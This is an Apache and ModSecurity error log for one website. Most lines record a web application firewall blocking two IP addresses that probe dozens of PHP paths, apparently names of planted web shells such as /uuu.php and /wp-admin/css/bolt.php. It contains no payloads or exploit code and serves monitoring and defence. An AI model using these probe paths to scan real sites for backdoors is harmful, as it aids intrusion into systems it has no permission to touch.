[Wed Mar 25 20:52:31.006096 2026] [:error] [pid 25875:tid 25894] [client 74.248.130.23:7635] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bays.php"] [unique_id "acPajxJ38QkS3NyfshwZPQAAAo0"]
[Wed Mar 25 20:52:31.518720 2026] [:error] [pid 25875:tid 25904] [client 74.248.130.23:9579] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bays.php"] [unique_id "acPajxJ38QkS3NyfshwZQQAAApc"]
[Wed Mar 25 20:52:32.028052 2026] [:error] [pid 25875:tid 25881] [client 74.248.130.23:9810] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bays.php"] [unique_id "acPakBJ38QkS3NyfshwZQwAAAoA"]
[Wed Mar 25 23:16:37.282710 2026] [proxy_fcgi:error] [pid 892:tid 895] [client 108.165.47.212:55142] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:25.630545 2026] [proxy_fcgi:error] [pid 25967:tid 25983] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:25.886800 2026] [proxy_fcgi:error] [pid 25967:tid 25984] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:26.142526 2026] [proxy_fcgi:error] [pid 25967:tid 25996] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:26.396328 2026] [proxy_fcgi:error] [pid 25967:tid 25988] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:26.650683 2026] [proxy_fcgi:error] [pid 25967:tid 25978] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:26.904643 2026] [proxy_fcgi:error] [pid 25967:tid 25993] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:27.159455 2026] [proxy_fcgi:error] [pid 25967:tid 25980] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:27.422737 2026] [proxy_fcgi:error] [pid 25967:tid 25994] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:27.676740 2026] [proxy_fcgi:error] [pid 25967:tid 25975] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:27.942146 2026] [proxy_fcgi:error] [pid 25967:tid 25974] [client 132.164.249.185:8779] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:18:28.192860 2026] [:error] [pid 25967:tid 25972] [client 132.164.249.185:8779] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "acP8xPg8Qtq7ZM4mSFmTNwAAA0A"]
[Wed Mar 25 23:18:28.696053 2026] [:error] [pid 892:tid 923] [client 132.164.249.185:8803] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "acP8xCT_G8WMU3T3yxro9gAAANg"]
[Wed Mar 25 23:18:29.226531 2026] [:error] [pid 26449:tid 26472] [client 132.164.249.185:8716] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "acP8xdpZ2T15NDqzAjGXqwAAAlM"]
[Wed Mar 25 23:18:30.335863 2026] [:error] [pid 25875:tid 25901] [client 132.164.249.185:8773] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "acP8xhJ38QkS3NyfshxW0QAAApQ"]
[Wed Mar 25 23:18:30.844331 2026] [:error] [pid 25967:tid 25984] [client 132.164.249.185:8731] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acP8xvg8Qtq7ZM4mSFmTOwAAA0w"]
[Wed Mar 25 23:18:31.451702 2026] [:error] [pid 892:tid 899] [client 132.164.249.185:8774] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acP8xyT_G8WMU3T3yxro-QAAAMM"]
[Wed Mar 25 23:18:32.004744 2026] [:error] [pid 26449:tid 26453] [client 132.164.249.185:8775] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acP8yNpZ2T15NDqzAjGXsQAAAkA"]
[Wed Mar 25 23:18:32.508036 2026] [:error] [pid 26449:tid 26456] [client 132.164.249.185:8801] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acP8yNpZ2T15NDqzAjGXtgAAAkM"]
[Wed Mar 25 23:18:34.194189 2026] [:error] [pid 756:tid 861] [client 132.164.249.185:8786] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "acP8yjOaW6oylMIDBCQqvgAAAIk"]
[Wed Mar 25 23:18:34.735281 2026] [:error] [pid 25875:tid 25895] [client 132.164.249.185:8720] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "acP8yhJ38QkS3NyfshxW0wAAAo4"]
[Wed Mar 25 23:18:36.421928 2026] [:error] [pid 25875:tid 25898] [client 132.164.249.185:8802] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "acP8zBJ38QkS3NyfshxW1QAAApE"]
[Wed Mar 25 23:18:36.992172 2026] [:error] [pid 25969:tid 26033] [client 132.164.249.185:8726] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "acP8zBd3aEUmOfdKja8bMAAAA8c"]
[Wed Mar 25 23:18:37.506615 2026] [:error] [pid 25967:tid 25976] [client 132.164.249.185:8712] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/init.php"] [unique_id "acP8zfg8Qtq7ZM4mSFmTSAAAA0Q"]
[Wed Mar 25 23:18:38.017754 2026] [:error] [pid 25875:tid 25887] [client 132.164.249.185:7147] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/init.php"] [unique_id "acP8zhJ38QkS3NyfshxW2wAAAoY"]
[Wed Mar 25 23:18:38.524840 2026] [:error] [pid 25875:tid 25889] [client 132.164.249.185:8735] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/init.php"] [unique_id "acP8zhJ38QkS3NyfshxW3QAAAog"]
[Wed Mar 25 23:18:39.038566 2026] [:error] [pid 25967:tid 25975] [client 132.164.249.185:8772] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/init.php"] [unique_id "acP8z_g8Qtq7ZM4mSFmTSQAAA0M"]
[Wed Mar 25 23:18:39.584575 2026] [:error] [pid 25967:tid 25983] [client 132.164.249.185:8817] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acP8z_g8Qtq7ZM4mSFmTTAAAA0s"]
[Wed Mar 25 23:18:41.149494 2026] [:error] [pid 25967:tid 25973] [client 132.164.249.185:8794] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acP80fg8Qtq7ZM4mSFmTUQAAA0E"]
[Wed Mar 25 23:18:41.706936 2026] [:error] [pid 892:tid 905] [client 132.164.249.185:8810] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acP80ST_G8WMU3T3yxro-gAAAMc"]
[Wed Mar 25 23:18:42.263161 2026] [:error] [pid 26321:tid 26339] [client 132.164.249.185:8804] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acP80vKO65qqGZCSPZpuagAAAgA"]
[Wed Mar 25 23:18:42.817523 2026] [:error] [pid 26321:tid 26365] [client 132.164.249.185:8734] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "acP80vKO65qqGZCSPZpubQAAAhg"]
[Wed Mar 25 23:18:43.324310 2026] [:error] [pid 25969:tid 26050] [client 132.164.249.185:8732] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "acP80xd3aEUmOfdKja8bMwAAA9g"]
[Wed Mar 25 23:18:43.829350 2026] [:error] [pid 26449:tid 26474] [client 132.164.249.185:8718] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "acP809pZ2T15NDqzAjGXwAAAAlU"]
[Wed Mar 25 23:18:44.345760 2026] [:error] [pid 26449:tid 26462] [client 132.164.249.185:8828] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "acP81NpZ2T15NDqzAjGXwgAAAkk"]
[Wed Mar 25 23:18:44.866663 2026] [:error] [pid 25875:tid 25893] [client 132.164.249.185:8818] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "acP81BJ38QkS3NyfshxW4gAAAow"]
[Wed Mar 25 23:18:45.434634 2026] [:error] [pid 25875:tid 25894] [client 132.164.249.185:8713] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "acP81RJ38QkS3NyfshxW5AAAAo0"]
[Wed Mar 25 23:18:45.966191 2026] [:error] [pid 47989:tid 47997] [client 132.164.249.185:8813] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "acP81SWKdJMhIccROjkXYQAAAUY"]
[Wed Mar 25 23:18:46.718499 2026] [:error] [pid 47946:tid 47959] [client 132.164.249.185:8789] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "acP81jipQTqBMSeKYheP4gAAAQs"]
[Wed Mar 25 23:18:47.287646 2026] [:error] [pid 25969:tid 26034] [client 132.164.249.185:8715] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acP81xd3aEUmOfdKja8bNAAAA8g"]
[Wed Mar 25 23:18:47.980817 2026] [:error] [pid 47989:tid 47996] [client 132.164.249.185:8750] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acP81yWKdJMhIccROjkXYwAAAUU"]
[Wed Mar 25 23:18:48.596848 2026] [:error] [pid 47989:tid 48000] [client 132.164.249.185:8829] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acP82CWKdJMhIccROjkXZAAAAUk"]
[Wed Mar 25 23:18:49.128994 2026] [:error] [pid 26321:tid 26349] [client 132.164.249.185:8806] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acP82fKO65qqGZCSPZpubwAAAgg"]
[Wed Mar 25 23:18:49.635091 2026] [:error] [pid 756:tid 858] [client 132.164.249.185:8763] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "acP82TOaW6oylMIDBCQqvwAAAIY"]
[Wed Mar 25 23:18:50.153000 2026] [:error] [pid 25967:tid 25985] [client 132.164.249.185:8797] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "acP82vg8Qtq7ZM4mSFmTVwAAA00"]
[Wed Mar 25 23:18:50.687683 2026] [:error] [pid 47989:tid 47993] [client 132.164.249.185:8777] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "acP82iWKdJMhIccROjkXZwAAAUI"]
[Wed Mar 25 23:18:51.234087 2026] [:error] [pid 25967:tid 25972] [client 132.164.249.185:8706] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "acP82_g8Qtq7ZM4mSFmTWAAAA0A"]
[Wed Mar 25 23:18:51.770516 2026] [:error] [pid 25967:tid 25987] [client 132.164.249.185:7114] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "acP82_g8Qtq7ZM4mSFmTWQAAA08"]
[Wed Mar 25 23:18:52.295836 2026] [:error] [pid 892:tid 901] [client 132.164.249.185:8730] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "acP83CT_G8WMU3T3yxro_gAAAMQ"]
[Wed Mar 25 23:18:53.028112 2026] [:error] [pid 25875:tid 25895] [client 132.164.249.185:8784] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "acP83RJ38QkS3NyfshxW6wAAAo4"]
[Wed Mar 25 23:18:53.548096 2026] [:error] [pid 756:tid 865] [client 132.164.249.185:8714] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "acP83TOaW6oylMIDBCQqwwAAAI0"]
[Wed Mar 25 23:18:54.103186 2026] [:error] [pid 47989:tid 48011] [client 132.164.249.185:8740] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acP83iWKdJMhIccROjkXaQAAAVQ"]
[Wed Mar 25 23:18:54.653866 2026] [:error] [pid 25969:tid 26044] [client 132.164.249.185:8825] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acP83hd3aEUmOfdKja8bOQAAA9I"]
[Wed Mar 25 23:18:55.157581 2026] [:error] [pid 47989:tid 48001] [client 132.164.249.185:8820] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acP83yWKdJMhIccROjkXbgAAAUo"]
[Wed Mar 25 23:18:55.705793 2026] [:error] [pid 26449:tid 26461] [client 132.164.249.185:7115] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acP839pZ2T15NDqzAjGXxgAAAkg"]
[Wed Mar 25 23:18:56.242313 2026] [:error] [pid 756:tid 851] [client 132.164.249.185:8812] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "acP84DOaW6oylMIDBCQqxAAAAIE"]
[Wed Mar 25 23:18:56.771050 2026] [:error] [pid 26269:tid 26292] [client 132.164.249.185:8737] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "acP84En7e-ZQbaIs7qzJXgAAAZA"]
[Wed Mar 25 23:18:57.279981 2026] [:error] [pid 756:tid 853] [client 132.164.249.185:7119] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "acP84TOaW6oylMIDBCQqxQAAAIM"]
[Wed Mar 25 23:18:57.789751 2026] [:error] [pid 25969:tid 26047] [client 132.164.249.185:8798] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "acP84Rd3aEUmOfdKja8bPAAAA9U"]
[Wed Mar 25 23:18:58.290568 2026] [:error] [pid 25969:tid 26038] [client 132.164.249.185:8823] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "acP84hd3aEUmOfdKja8bPQAAA8w"]
[Wed Mar 25 23:18:58.800095 2026] [:error] [pid 25969:tid 26035] [client 132.164.249.185:7156] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "acP84hd3aEUmOfdKja8bPwAAA8k"]
